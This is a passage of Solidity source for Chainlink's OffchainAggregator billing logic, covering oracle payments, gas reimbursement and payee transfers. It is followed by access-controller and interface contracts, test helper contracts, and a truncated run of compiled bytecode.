uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission
)
internal
{
s_billing = Billing(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission);
emit BillingSet(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission);
}
/**
* @notice sets billing parameters
* @param _maximumGasPrice highest gas price for which transmitter will be compensated
* @param _reasonableGasPrice transmitter will receive reward for gas prices under this value
* @param _microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units
* @param _linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units
* @param _linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units
* @dev access control provided by billingAccessController
*/
function setBilling(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission
)
external
{
AccessControllerInterface access = s_billingAccessController;
require(msg.sender == owner || access.hasAccess(msg.sender, msg.data),
"Only owner&billingAdmin can call");
payOracles();
setBillingInternal(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission);
}
/**
* @notice gets billing parameters
* @param maximumGasPrice highest gas price for which transmitter will be compensated
* @param reasonableGasPrice transmitter will receive reward for gas prices under this value
* @param microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units
* @param linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units
* @param linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units
*/
function getBilling()
external
view
returns (
uint32 maximumGasPrice,
uint32 reasonableGasPrice,
uint32 microLinkPerEth,
uint32 linkGweiPerObservation,
uint32 linkGweiPerTransmission
)
{
Billing memory billing = s_billing;
return (
billing.maximumGasPrice,
billing.reasonableGasPrice,
billing.microLinkPerEth,
billing.linkGweiPerObservation,
billing.linkGweiPerTransmission
);
}
/**
* @notice emitted when a new access-control contract is set
* @param old the address prior to the current setting
* @param current the address of the new access-control contract
*/
event BillingAccessControllerSet(AccessControllerInterface old, AccessControllerInterface current);
function setBillingAccessControllerInternal(AccessControllerInterface _billingAccessController)
internal
{
AccessControllerInterface oldController = s_billingAccessController;
if (_billingAccessController != oldController) {
s_billingAccessController = _billingAccessController;
emit BillingAccessControllerSet(
oldController,
_billingAccessController
);
}
}
/**
* @notice sets billingAccessController
* @param _billingAccessController new billingAccessController contract address
* @dev only owner can call this
*/
function setBillingAccessController(AccessControllerInterface _billingAccessController)
external
onlyOwner
{
setBillingAccessControllerInternal(_billingAccessController);
}
/**
* @notice gets billingAccessController
* @return address of billingAccessController contract
*/
function billingAccessController()
external
view
returns (AccessControllerInterface)
{
return s_billingAccessController;
}
/**
* @notice withdraws an oracle's payment from the contract
* @param _transmitter the transmitter address of the oracle
* @dev must be called by oracle's payee address
*/
function withdrawPayment(address _transmitter)
external
{
require(msg.sender == s_payees[_transmitter], "Only payee can withdraw");
payOracle(_transmitter);
}
/**
* @notice query an oracle's payment amount
* @param _transmitter the transmitter address of the oracle
*/
function owedPayment(address _transmitter)
public
view
returns (uint256)
{
Oracle memory oracle = s_oracles[_transmitter];
if (oracle.role == Role.Unset) { return 0; }
Billing memory billing = s_billing;
uint256 linkWeiAmount =
uint256(s_oracleObservationsCounts[oracle.index] - 1) *
uint256(billing.linkGweiPerObservation) *
(1 gwei);
linkWeiAmount += s_gasReimbursementsLinkWei[oracle.index] - 1;
return linkWeiAmount;
}
/**
* @notice emitted when an oracle has been paid LINK
* @param transmitter address from which the oracle sends reports to the transmit method
* @param payee address to which the payment is sent
* @param amount amount of LINK sent
*/
event OraclePaid(address transmitter, address payee, uint256 amount);
// payOracle pays out _transmitter's balance to the corresponding payee, and zeros it out
function payOracle(address _transmitter)
internal
{
Oracle memory oracle = s_oracles[_transmitter];
uint256 linkWeiAmount = owedPayment(_transmitter);
if (linkWeiAmount > 0) {
address payee = s_payees[_transmitter];
// Poses no re-entrancy issues, because LINK.transfer does not yield
// control flow.
require(LINK.transfer(payee, linkWeiAmount), "insufficient funds");
s_oracleObservationsCounts[oracle.index] = 1; // "zero" the counts. see var's docstring
s_gasReimbursementsLinkWei[oracle.index] = 1; // "zero" the counts. see var's docstring
emit OraclePaid(_transmitter, payee, linkWeiAmount);
}
}
// payOracles pays out all transmitters, and zeros out their balances.
//
// It's much more gas-efficient to do this as a single operation, to avoid
// hitting storage too much.
function payOracles()
internal
{
Billing memory billing = s_billing;
uint16[maxNumOracles] memory observationsCounts = s_oracleObservationsCounts;
uint256[maxNumOracles] memory gasReimbursementsLinkWei =
s_gasReimbursementsLinkWei;
address[] memory transmitters = s_transmitters;
for (uint transmitteridx = 0; transmitteridx < transmitters.length; transmitteridx++) {
uint256 reimbursementAmountLinkWei = gasReimbursementsLinkWei[transmitteridx] - 1;
uint256 obsCount = observationsCounts[transmitteridx] - 1;
uint256 linkWeiAmount =
obsCount * uint256(billing.linkGweiPerObservation) * (1 gwei) + reimbursementAmountLinkWei;
if (linkWeiAmount > 0) {
address payee = s_payees[transmitters[transmitteridx]];
// Poses no re-entrancy issues, because LINK.transfer does not yield
// control flow.
require(LINK.transfer(payee, linkWeiAmount), "insufficient funds");
observationsCounts[transmitteridx] = 1; // "zero" the counts.
gasReimbursementsLinkWei[transmitteridx] = 1; // "zero" the counts.
emit OraclePaid(transmitters[transmitteridx], payee, linkWeiAmount);
}
}
// "Zero" the accounting storage variables
s_oracleObservationsCounts = observationsCounts;
s_gasReimbursementsLinkWei = gasReimbursementsLinkWei;
}
function oracleRewards(
bytes memory observers,
uint16[maxNumOracles] memory observations
)
internal
pure
returns (uint16[maxNumOracles] memory)
{
// reward each observer-participant with the observer reward
for (uint obsIdx = 0; obsIdx < observers.length; obsIdx++) {
uint8 observer = uint8(observers[obsIdx]);
observations[observer] = saturatingAddUint16(observations[observer], 1);
}
return observations;
}
// This value needs to change if maxNumOracles is increased, or the accounting
// calculations at the bottom of reimburseAndRewardOracles change.
//
// To recalculate it, run the profiler as described in
// ../../profile/README.md, and add up the gas-usage values reported for the
// lines in reimburseAndRewardOracles following the "gasLeft = gasleft()"
// line. E.g., you will see output like this:
//
// 7 uint256 gasLeft = gasleft();
// 29 uint256 gasCostEthWei = transmitterGasCostEthWei(
// 9 uint256(initialGas),
// 3 gasPrice,
// 3 callDataGasCost,
// 3 gasLeft
// .
// .
// .
// 59 uint256 gasCostLinkWei = (gasCostEthWei * billing.microLinkPerEth)/ 1e6;
// .
// .
// .
// 5047 s_gasReimbursementsLinkWei[txOracle.index] =
// 856 s_gasReimbursementsLinkWei[txOracle.index] + gasCostLinkWei +
// 26 uint256(billing.linkGweiPerTransmission) * (1 gwei);
//
// If those were the only lines to be accounted for, you would add up
// 29+9+3+3+3+59+5047+856+26=6035.
uint256 internal constant accountingGasCost = 6035;
// Uncomment the following declaration to compute the remaining gas cost after
// above gasleft(). (This must exist in a base class to OffchainAggregator, so
// it can't go in TestOffchainAggregator.)
//
// uint256 public gasUsedInAccounting;
// Gas price at which the transmitter should be reimbursed, in ETH-gwei/gas
function impliedGasPrice(
uint256 txGasPrice, // ETH-gwei/gas units
uint256 reasonableGasPrice, // ETH-gwei/gas units
uint256 maximumGasPrice // ETH-gwei/gas units
)
internal
pure
returns (uint256)
{
// Reward the transmitter for choosing an efficient gas price: if they manage
// to come in lower than considered reasonable, give them half the savings.
//
// The following calculations are all in units of gwei/gas, i.e. 1e-9ETH/gas
uint256 gasPrice = txGasPrice;
if (txGasPrice < reasonableGasPrice) {
// Give transmitter half the savings for coming in under the reasonable gas price
gasPrice += (reasonableGasPrice - txGasPrice) / 2;
}
// Don't reimburse a gas price higher than maximumGasPrice
return min(gasPrice, maximumGasPrice);
}
// gas reimbursement due the transmitter, in ETH-wei
//
// If this function is changed, accountingGasCost needs to change, too. See
// its docstring
function transmitterGasCostEthWei(
uint256 initialGas,
uint256 gasPrice, // ETH-gwei/gas units
uint256 callDataCost, // gas units
uint256 gasLeft
)
internal
pure
returns (uint128 gasCostEthWei)
{
require(initialGas >= gasLeft, "gasLeft cannot exceed initialGas");
uint256 gasUsed = // gas units
initialGas - gasLeft + // observed gas usage
callDataCost + accountingGasCost; // estimated gas usage
// gasUsed is in gas units, gasPrice is in ETH-gwei/gas units; convert to ETH-wei
uint256 fullGasCostEthWei = gasUsed * gasPrice * (1 gwei);
assert(fullGasCostEthWei < maxUint128); // the entire ETH supply fits in a uint128...
return uint128(fullGasCostEthWei);
}
/**
* @notice withdraw any available funds left in the contract, up to _amount, after accounting for the funds due to participants in past reports
* @param _recipient address to send funds to
* @param _amount maximum amount to withdraw, denominated in LINK-wei.
* @dev access control provided by billingAccessController
*/
function withdrawFunds(address _recipient, uint256 _amount)
external
{
require(msg.sender == owner || s_billingAccessController.hasAccess(msg.sender, msg.data),
"Only owner&billingAdmin can call");
uint256 linkDue = totalLINKDue();
uint256 linkBalance = LINK.balanceOf(address(this));
require(linkBalance >= linkDue, "insufficient balance");
require(LINK.transfer(_recipient, min(linkBalance - linkDue, _amount)), "insufficient funds");
}
// Total LINK due to participants in past reports.
function totalLINKDue()
internal
view
returns (uint256 linkDue)
{
// Argument for overflow safety: We do all computations in
// uint256s. The inputs to linkDue are:
// - the <= 31 observation rewards each of which has less than
// 64 bits (32 bits for billing.linkGweiPerObservation, 32 bits
// for wei/gwei conversion). Hence 69 bits are sufficient for this part.
// - the <= 31 gas reimbursements, each of which consists of at most 166
// bits (see s_gasReimbursementsLinkWei docstring). Hence 171 bits are
// sufficient for this part
// In total, 172 bits are enough.
uint16[maxNumOracles] memory observationCounts = s_oracleObservationsCounts;
for (uint i = 0; i < maxNumOracles; i++) {
linkDue += observationCounts[i] - 1; // Stored value is one greater than actual value
}
Billing memory billing = s_billing;
// Convert linkGweiPerObservation to uint256, or this overflows!
linkDue *= uint256(billing.linkGweiPerObservation) * (1 gwei);
address[] memory transmitters = s_transmitters;
uint256[maxNumOracles] memory gasReimbursementsLinkWei =
s_gasReimbursementsLinkWei;
for (uint i = 0; i < transmitters.length; i++) {
linkDue += uint256(gasReimbursementsLinkWei[i]-1); // Stored value is one greater than actual value
}
}
/**
* @notice allows oracles to check that sufficient LINK balance is available
* @return availableBalance LINK available on this contract, after accounting for outstanding obligations. can become negative
*/
function linkAvailableForPayment()
external
view
returns (int256 availableBalance)
{
// there are at most one billion LINK, so this cast is safe
int256 balance = int256(LINK.balanceOf(address(this)));
// according to the argument in the definition of totalLINKDue,
// totalLINKDue is never greater than 2**172, so this cast is safe
int256 due = int256(totalLINKDue());
// safe from overflow according to above sizes
return int256(balance) - int256(due);
}
/**
* @notice number of observations oracle is due to be reimbursed for
* @param _signerOrTransmitter address used by oracle for signing or transmitting reports
*/
function oracleObservationCount(address _signerOrTransmitter)
external
view
returns (uint16)
{
Oracle memory oracle = s_oracles[_signerOrTransmitter];
if (oracle.role == Role.Unset) { return 0; }
return s_oracleObservationsCounts[oracle.index] - 1;
}
function reimburseAndRewardOracles(
uint32 initialGas,
bytes memory observers
)
internal
{
Oracle memory txOracle = s_oracles[msg.sender];
Billing memory billing = s_billing;
// Reward oracles for providing observations. Oracles are not rewarded
// for providing signatures, because signing is essentially free.
s_oracleObservationsCounts =
oracleRewards(observers, s_oracleObservationsCounts);
// Reimburse transmitter of the report for gas usage
require(txOracle.role == Role.Transmitter,
"sent by undesignated transmitter"
);
uint256 gasPrice = impliedGasPrice(
tx.gasprice / (1 gwei), // convert to ETH-gwei units
billing.reasonableGasPrice,
billing.maximumGasPrice
);
// The following is only an upper bound, as it ignores the cheaper cost for
// 0 bytes. Safe from overflow, because calldata just isn't that long.
uint256 callDataGasCost = 16 * msg.data.length;
// If any changes are made to subsequent calculations, accountingGasCost
// needs to change, too.
uint256 gasLeft = gasleft();
uint256 gasCostEthWei = transmitterGasCostEthWei(
uint256(initialGas),
gasPrice,
callDataGasCost,
gasLeft
);
// microLinkPerEth is 1e-6LINK/ETH units, gasCostEthWei is 1e-18ETH units
// (ETH-wei), product is 1e-24LINK-wei units, dividing by 1e6 gives
// 1e-18LINK units, i.e. LINK-wei units
// Safe from over/underflow, since all components are non-negative,
// gasCostEthWei will always fit into uint128 and microLinkPerEth is a
// uint32 (128+32 < 256!).
uint256 gasCostLinkWei = (gasCostEthWei * billing.microLinkPerEth)/ 1e6;
// Safe from overflow, because gasCostLinkWei < 2**160 and
// billing.linkGweiPerTransmission * (1 gwei) < 2**64 and we increment
// s_gasReimbursementsLinkWei[txOracle.index] at most 2**40 times.
s_gasReimbursementsLinkWei[txOracle.index] =
s_gasReimbursementsLinkWei[txOracle.index] + gasCostLinkWei +
uint256(billing.linkGweiPerTransmission) * (1 gwei); // convert from linkGwei to linkWei
// Uncomment next line to compute the remaining gas cost after above gasleft().
// See OffchainAggregatorBilling.accountingGasCost docstring for more information.
//
// gasUsedInAccounting = gasLeft - gasleft();
}
/*
* Payee management
*/
/**
* @notice emitted when a transfer of an oracle's payee address has been initiated
* @param transmitter address from which the oracle sends reports to the transmit method
* @param current the payeee address for the oracle, prior to this setting
* @param proposed the proposed new payee address for the oracle
*/
event PayeeshipTransferRequested(
address indexed transmitter,
address indexed current,
address indexed proposed
);
/**
* @notice emitted when a transfer of an oracle's payee address has been completed
* @param transmitter address from which the oracle sends reports to the transmit method
* @param current the payeee address for the oracle, prior to this setting
*/
event PayeeshipTransferred(
address indexed transmitter,
address indexed previous,
address indexed current
);
/**
* @notice sets the payees for transmitting addresses
* @param _transmitters addresses oracles use to transmit the reports
* @param _payees addresses of payees corresponding to list of transmitters
* @dev must be called by owner
* @dev cannot be used to change payee addresses, only to initially populate them
*/
function setPayees(
address[] calldata _transmitters,
address[] calldata _payees
)
external
onlyOwner()
{
require(_transmitters.length == _payees.length, "transmitters.size != payees.size");
for (uint i = 0; i < _transmitters.length; i++) {
address transmitter = _transmitters[i];
address payee = _payees[i];
address currentPayee = s_payees[transmitter];
bool zeroedOut = currentPayee == address(0);
require(zeroedOut || currentPayee == payee, "payee already set");
s_payees[transmitter] = payee;
if (currentPayee != payee) {
emit PayeeshipTransferred(transmitter, currentPayee, payee);
}
}
}
/**
* @notice first step of payeeship transfer (safe transfer pattern)
* @param _transmitter transmitter address of oracle whose payee is changing
* @param _proposed new payee address
* @dev can only be called by payee address
*/
function transferPayeeship(
address _transmitter,
address _proposed
)
external
{
require(msg.sender == s_payees[_transmitter], "only current payee can update");
require(msg.sender != _proposed, "cannot transfer to self");
address previousProposed = s_proposedPayees[_transmitter];
s_proposedPayees[_transmitter] = _proposed;
if (previousProposed != _proposed) {
emit PayeeshipTransferRequested(_transmitter, msg.sender, _proposed);
}
}
/**
* @notice second step of payeeship transfer (safe transfer pattern)
* @param _transmitter transmitter address of oracle whose payee is changing
* @dev can only be called by proposed new payee address
*/
function acceptPayeeship(
address _transmitter
)
external
{
require(msg.sender == s_proposedPayees[_transmitter], "only proposed payees can accept");
address currentPayee = s_payees[_transmitter];
s_payees[_transmitter] = msg.sender;
s_proposedPayees[_transmitter] = address(0);
emit PayeeshipTransferred(_transmitter, currentPayee, msg.sender);
}
/*
* Helper functions
*/
function saturatingAddUint16(uint16 _x, uint16 _y)
internal
pure
returns (uint16)
{
return uint16(min(uint256(_x)+uint256(_y), maxUint16));
}
function min(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a < b) { return a; }
return b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract TypeAndVersionInterface{
function typeAndVersion()
external
pure
virtual
returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Owned.sol";
import "./AccessControllerInterface.sol";
/**
* @title SimpleWriteAccessController
* @notice Gives access to accounts explicitly added to an access list by the
* controller's owner.
* @dev does not make any special permissions for externally, see
* SimpleReadAccessController for that.
*/
contract SimpleWriteAccessController is AccessControllerInterface, Owned {
bool public checkEnabled;
mapping(address => bool) internal accessList;
event AddedAccess(address user);
event RemovedAccess(address user);
event CheckAccessEnabled();
event CheckAccessDisabled();
constructor()
{
checkEnabled = true;
}
/**
* @notice Returns the access of an address
* @param _user The address to query
*/
function hasAccess(
address _user,
bytes memory
)
public
view
virtual
override
returns (bool)
{
return accessList[_user] || !checkEnabled;
}
/**
* @notice Adds an address to the access list
* @param _user The address to add
*/
function addAccess(address _user) external onlyOwner() {
addAccessInternal(_user);
}
function addAccessInternal(address _user) internal {
if (!accessList[_user]) {
accessList[_user] = true;
emit AddedAccess(_user);
}
}
/**
* @notice Removes an address from the access list
* @param _user The address to remove
*/
function removeAccess(address _user)
external
onlyOwner()
{
if (accessList[_user]) {
accessList[_user] = false;
emit RemovedAccess(_user);
}
}
/**
* @notice makes the access check enforced
*/
function enableAccessCheck()
external
onlyOwner()
{
if (!checkEnabled) {
checkEnabled = true;
emit CheckAccessEnabled();
}
}
/**
* @notice makes the access check unenforced
*/
function disableAccessCheck()
external
onlyOwner()
{
if (checkEnabled) {
checkEnabled = false;
emit CheckAccessDisabled();
}
}
/**
* @dev reverts if the caller does not have access
*/
modifier checkAccess() {
require(hasAccess(msg.sender, msg.data), "No access");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AccessControlledOffchainAggregator.sol";
import "./AccessControlTestHelper.sol";
contract TestOffchainAggregator is AccessControlledOffchainAggregator {
function testDecodeReport(
bytes memory report
) public pure returns (bytes32, bytes32, int192[] memory)
{
return decodeReport(report);
}
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
address _link,
int192 _minAnswer, int192 _maxAnswer,
AccessControllerInterface _billingAccessController,
AccessControllerInterface _requesterAdminAccessController
)
AccessControlledOffchainAggregator(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth,
_linkGweiPerObservation, _linkGweiPerTransmission, _link,
_minAnswer, _maxAnswer, _billingAccessController, _requesterAdminAccessController, 0, "TEST"
)
{}
function testPayee(
address _transmitter
)
external
view
returns (address)
{
return s_payees[_transmitter];
}
function getConfigDigest() public view returns (bytes16) {
return s_hotVars.latestConfigDigest;
}
function testSaturatingAddUint16(uint16 _x, uint16 _y)
external pure returns (uint16)
{
return saturatingAddUint16(_x, _y);
}
function testImpliedGasPrice(uint256 txGasPrice, uint256 reasonableGasPrice,
uint256 maximumGasPrice
) external pure returns (uint256) {
return impliedGasPrice(txGasPrice, reasonableGasPrice, maximumGasPrice);
}
function testTransmitterGasCostEthWei(uint256 initialGas, uint256 gasPrice,
uint256 callDataCost, uint256 gasLeft
) external pure returns (uint128) {
return transmitterGasCostEthWei(
initialGas, gasPrice, callDataCost, gasLeft
);
}
function testSetOracleObservationCount(address _oracle, uint16 _amount) external {
s_oracleObservationsCounts[s_oracles[_oracle].index] = _amount + 1;
}
function testTotalLinkDue()
external view returns (uint256 linkDue)
{
return totalLINKDue();
}
function billingData() external view returns (
uint16[maxNumOracles] memory observationsCounts,
uint256[maxNumOracles] memory gasReimbursements,
uint32 maximumGasPrice,
uint32 reasonableGasPrice,
uint32 microLinkPerEth,
uint32 linkGweiPerObservation,
uint32 linkGweiPerTransmission
) {
Billing memory b = s_billing;
return (s_oracleObservationsCounts, s_gasReimbursementsLinkWei,
b.maximumGasPrice, b.reasonableGasPrice, b.microLinkPerEth,
b.linkGweiPerObservation, b.linkGweiPerTransmission);
}
function testSetGasReimbursements(address _transmitterOrSigner, uint256 _amountLinkWei)
external
{
require(s_oracles[_transmitterOrSigner].role != Role.Unset, "address unknown");
s_gasReimbursementsLinkWei[s_oracles[_transmitterOrSigner].index] = _amountLinkWei + 1;
}
function testAccountingGasCost() public pure returns (uint256) {
return accountingGasCost;
}
function testBurnLINK(uint256 amount) public {
LINK.transfer(address(1), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./AccessControlledOffchainAggregator.sol";
contract AccessControlTestHelper {
event Dummy(); // Used to silence warning that these methods are pure
function readGetRoundData(address _aggregator, uint80 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getRoundData(_roundID);
emit Dummy();
}
function readLatestRoundData(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestRoundData();
emit Dummy();
}
function readLatestAnswer(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestAnswer();
emit Dummy();
}
function readLatestTimestamp(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestTimestamp();
emit Dummy();
}
function readLatestRound(address _aggregator)
external
{
AccessControlledOffchainAggregator(_aggregator).latestRound();
emit Dummy();
}
function readGetAnswer(address _aggregator, uint256 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getAnswer(_roundID);
emit Dummy();
}
function readGetTimestamp(address _aggregator, uint256 _roundID)
external
{
AccessControlledOffchainAggregator(_aggregator).getTimestamp(_roundID);
emit Dummy();
}
function testLatestTransmissionDetails(address _aggregator) external view {
OffchainAggregator(_aggregator).latestTransmissionDetails();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./OffchainAggregator.sol";
// ExposedOffchainAggregator exposes certain internal OffchainAggregator
// methods/structures so that golang code can access them, and we get
// reliable type checking on their usage
contract ExposedOffchainAggregator is OffchainAggregator {
constructor()
OffchainAggregator(
0, 0, 0, 0, 0, address(0), 0, 0, AccessControllerInterface(address(0)), AccessControllerInterface(address(0)), 0, ""
)
{}
function exposedConfigDigestFromConfigData(
address _contractAddress,
uint64 _configCount,
address[] calldata _signers,
address[] calldata _transmitters,
uint8 _threshold,
uint64 _encodedConfigVersion,
bytes calldata _encodedConfig
) external pure returns (bytes16) {
return configDigestFromConfigData(_contractAddress, _configCount,
_signers, _transmitters, _threshold, _encodedConfigVersion,
_encodedConfig);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AggregatorValidatorInterface.sol";
contract TestValidator is AggregatorValidatorInterface {
uint32 s_minGasUse;
uint256 s_latestRoundId;
event Validated(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer,
uint256 initialGas
);
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
) external override returns (bool) {
uint256 initialGas = gasleft();
emit Validated(
previousRoundId,
previousAnswer,
currentRoundId,
currentAnswer,
initialGas
);
s_latestRoundId = currentRoundId;
uint256 minGasUse = s_minGasUse;
while (initialGas - gasleft() < minGasUse) {}
return true;
}
function setMinGasUse(uint32 minGasUse) external {
s_minGasUse = minGasUse;
}
function latestRoundId() external view returns (uint256) {
return s_latestRoundId;
}
}
| 0x608060405234801561001057600080fd5b50600436106102ff5760003560e01c80638da5cb5b1161019c578063bd824706116100ee578063e5fe457711610097578063f2fde38b11610071578063f2fde38b14610c7d578063fbffd2c114610ca3578063feaf968c14610cc9576102ff565b8063e5fe457714610bb3578063eb45716314610c1d578063eb5dcd6c14610c4f576102ff565b8063d09dc339116100c8578063d09dc33914610b66578063dc7f012414610b6e578063e4902f8214610b76576102ff565b8063bd824706146109e1578063c107532914610a26578063c980753914610a52576102ff565b80639c849b3011610150578063b121e1471161012a578063b121e14714610981578063b5ab58dc146109a7578063b633620c146109c4576102ff565b80639c849b30146108735780639e3ceeab14610935578063a118f2491461095b576102ff565b806398e5b12a1161018157806398e5b12a146107d1578063996e8298146107f85780639a6fc8f514610800576102ff565b80638da5cb5b146107995780638e0566de146107a1576102ff565b80636b14daf8116102555780638038e4a1116102095780638205bf6a116101e35780638205bf6a146107455780638823da6c1461074d5780638ac28d5a14610773576102ff565b80638038e4a114610694578063814118341461069c57806381ff7048146106f4576102ff565b806370efdf2d1161023a57806370efdf2d1461067c5780637284e4161461068457806379ba50971461068c576102ff565b80636b14daf8146105aa57806370da2f6714610674576102ff565b806329937268116102b757806354fd4d501161029157806354fd4d501461046d578063585aa7de14610475578063668a0f02146105a2576102ff565b80632993726814610406578063313ce5671461044757806350d25bcd14610465576102ff565b8063181f5a77116102e8578063181f5a77146103465780631b6b6d23146103c357806322adbc78146103e7576102ff565b80630a756983146103045780630eafb25b1461030e575b600080fd5b61030c610cd1565b005b6103346004803603602081101561032457600080fd5b50356001600160a01b0316610d8f565b60408051918252519081900360200190f35b61034e610eda565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610388578181015183820152602001610370565b50505050905090810190601f1680156103b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cb610efa565b604080516001600160a01b039092168252519081900360200190f35b6103ef610f1e565b6040805160179290920b8252519081900360200190f35b61040e610f42565b6040805163ffffffff96871681529486166020860152928516848401529084166060840152909216608082015290519081900360a00190f35b61044f610fbf565b6040805160ff9092168252519081900360200190f35b610334610fe3565b610334611084565b61030c600480360360a081101561048b57600080fd5b8101906020810181356401000000008111156104a657600080fd5b8201836020820111156104b857600080fd5b803590602001918460208302840111640100000000831117156104da57600080fd5b9193909290916020810190356401000000008111156104f857600080fd5b82018360208201111561050a57600080fd5b8035906020019184602083028401116401000000008311171561052c57600080fd5b9193909260ff8335169267ffffffffffffffff60208201351692919060608101906040013564010000000081111561056357600080fd5b82018360208201111561057557600080fd5b8035906020019184600183028401116401000000008311171561059757600080fd5b509092509050611089565b610334611a64565b610660600480360360408110156105c057600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156105eb57600080fd5b8201836020820111156105fd57600080fd5b8035906020019184600183028401116401000000008311171561061f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611b00945050505050565b604080519115158252519081900360200190f35b6103ef611b28565b6103cb611b4c565b61034e611b5b565b61030c611bf7565b61030c611cc5565b6106a4611d84565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156106e05781810151838201526020016106c8565b505050509050019250505060405180910390f35b6106fc611de6565b6040805163ffffffff94851681529290931660208301527fffffffffffffffffffffffffffffffff00000000000000000000000000000000168183015290519081900360600190f35b610334611e07565b61030c6004803603602081101561076357600080fd5b50356001600160a01b0316611ea3565b61030c6004803603602081101561078957600080fd5b50356001600160a01b0316611f9a565b6103cb612011565b6107a9612020565b604080516001600160a01b03909316835263ffffffff90911660208301528051918290030190f35b6107d9612064565b6040805169ffffffffffffffffffff9092168252519081900360200190f35b6103cb6122b8565b6108296004803603602081101561081657600080fd5b503569ffffffffffffffffffff166122c7565b604051808669ffffffffffffffffffff1681526020018581526020018481526020018381526020018269ffffffffffffffffffff1681526020019550505050505060405180910390f35b61030c6004803603604081101561088957600080fd5b8101906020810181356401000000008111156108a457600080fd5b8201836020820111156108b657600080fd5b803590602001918460208302840111640100000000831117156108d857600080fd5b9193909290916020810190356401000000008111156108f657600080fd5b82018360208201111561090857600080fd5b8035906020019184602083028401116401000000008311171561092a57600080fd5b50909250905061237c565b61030c6004803603602081101561094b57600080fd5b50356001600160a01b03166125b5565b61030c6004803603602081101561097157600080fd5b50356001600160a01b03166126a4565b61030c6004803603602081101561099757600080fd5b50356001600160a01b031661270c565b610334600480360360208110156109bd57600080fd5b5035612805565b610334600480360360208110156109da57600080fd5b50356128a2565b61030c600480360360a08110156109f757600080fd5b5063ffffffff81358116916020810135821691604082013581169160608101358216916080909101351661293f565b61030c60048036036040811015610a3c57600080fd5b506001600160a01b038135169060200135612aa5565b61030c60048036036080811015610a6857600080fd5b810190602081018135640100000000811115610a8357600080fd5b820183602082011115610a9557600080fd5b80359060200191846001830284011164010000000083111715610ab757600080fd5b919390929091602081019035640100000000811115610ad557600080fd5b820183602082011115610ae757600080fd5b80359060200191846020830284011164010000000083111715610b0957600080fd5b919390929091602081019035640100000000811115610b2757600080fd5b820183602082011115610b3957600080fd5b80359060200191846020830284011164010000000083111715610b5b57600080fd5b919350915035612df2565b610334613cfb565b610660613dac565b610b9c60048036036020811015610b8c57600080fd5b50356001600160a01b0316613db5565b6040805161ffff9092168252519081900360200190f35b610bbb613e62565b604080517fffffffffffffffffffffffffffffffff00000000000000000000000000000000909616865263ffffffff909416602086015260ff9092168484015260170b606084015267ffffffffffffffff166080830152519081900360a00190f35b61030c60048036036040811015610c3357600080fd5b5080356001600160a01b0316906020013563ffffffff16613f51565b61030c60048036036040811015610c6557600080fd5b506001600160a01b03813581169160200135166140e6565b61030c60048036036020811015610c9357600080fd5b50356001600160a01b0316614241565b61030c60048036036020811015610cb957600080fd5b50356001600160a01b0316614309565b610829614371565b6000546001600160a01b03163314610d30576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60305460ff1615610d8d57603080547ffffffffffffffffffffffffffffffffffffffffffffffffff